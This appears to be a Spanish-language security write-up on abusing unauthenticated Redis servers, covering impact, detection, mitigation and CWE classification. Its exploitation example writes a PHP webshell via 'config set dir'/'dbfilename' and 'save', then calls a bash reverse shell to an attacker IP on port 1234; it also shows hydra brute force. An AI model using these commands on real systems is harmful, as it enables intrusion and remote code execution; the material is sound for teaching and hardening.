1. Descripción técnica del ataque
Redis es un almacén de datos clave-valor en memoria. Por defecto, en versiones antiguas, escucha en el puerto 6379 sin autenticación y enlazado a todas las interfaces, lo que permite a cualquier atacante de la red interactuar con él.
El abuso más conocido aprovecha que Redis puede persistir su base de datos a disco en una ruta y nombre de archivo controlables. Combinando esto con un valor que contenga código, se puede escribir un archivo arbitrario en el sistema:
- Webshell: apuntar
diralDocumentRootdel servidor web, fijardbfilenamea un.phpy guardar una clave con código PHP. Al solicitar el archivo por el web, se ejecuta. - Clave SSH: escribir una clave pública autorizada en
~/.ssh/authorized_keysde un usuario. - Cron: escribir un cronjob en
/var/cron/.... - En versiones modernas, también existen módulos maliciosos (
MODULE LOAD) y el RCE dereplicaof(RedisModules / RedisRCE).
Cuando Redis sí requiere contraseña, esta suele ser débil y se puede obtener por fuerza bruta (hydra) antes de aplicar la técnica.
2. Impacto de la vulnerabilidad
- Ejecución remota de código con los privilegios del usuario que ejecuta Redis (a veces
redis, a veces un usuario con más permisos). - Escritura de archivos arbitrarios en el sistema.
- Lectura de todos los datos almacenados en Redis (posibles credenciales).
3. Historia y evolución
- El acceso no autenticado de Redis es un problema histórico documentado por el propio proyecto (que recomienda no exponerlo).
- En 2015-2016 se popularizó la técnica de webshell/clave SSH vía
config set dir. - Versiones recientes añaden el modo protected-mode (activo por defecto) que mitiga el acceso remoto sin bind/clave explícitos.
4. Factores que la hacen posible
- Redis accesible en red (puerto 6379) sin autenticación o con contraseña débil.
- Conocimiento de una ruta escribible relevante (DocumentRoot web, home de un usuario, etc.).
- Permisos del proceso Redis suficientes para escribir en esa ruta.
5. Detección
nmap -sCV -p6379 target # redis ...
redis-cli -h target ping # PONG (sin auth) o NOAUTH (con auth)
redis-cli -h target INFOSi pide autenticación, se puede hacer fuerza bruta:
hydra -P rockyou.txt target redis6. Mitigación
- Habilitar autenticación (
requirepass) con una contraseña fuerte y/o ACLs. - No exponer Redis a redes no confiables; bind a
127.0.0.1y firewall. - Mantener protected-mode activado.
- Ejecutar Redis con un usuario sin privilegios y sin escritura sobre rutas sensibles.
7. Ejemplo de explotación real
Escritura de una webshell PHP en el DocumentRoot:
❯ redis-cli -h 192.168.1.16
192.168.1.16:6379> config set dir /var/www/html
OK
192.168.1.16:6379> config set dbfilename pwned.php
OK
192.168.1.16:6379> set payload "<?php system($_GET['cmd']); ?>"
OK
192.168.1.16:6379> save
OKLuego se invoca el comando vía el web para obtener una reverse shell:
http://192.168.1.16:8080/pwned.php?cmd=bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'8. Clasificación
- Tipo: Security Misconfiguration / Arbitrary File Write → Remote Code Execution
- CWE:
- CWE-306 – Missing Authentication for Critical Function
- CWE-285 – Improper Authorization
- CWE-94 – Code Injection
9. Resumen
Un Redis sin autenticación (o con contraseña débil) permite, vía config set dir/dbfilename + save, escribir archivos arbitrarios como webshells o claves SSH, logrando RCE. La defensa es habilitar autenticación, no exponerlo y mantener protected-mode. Las credenciales almacenadas también pueden reutilizarse para escalar localmente.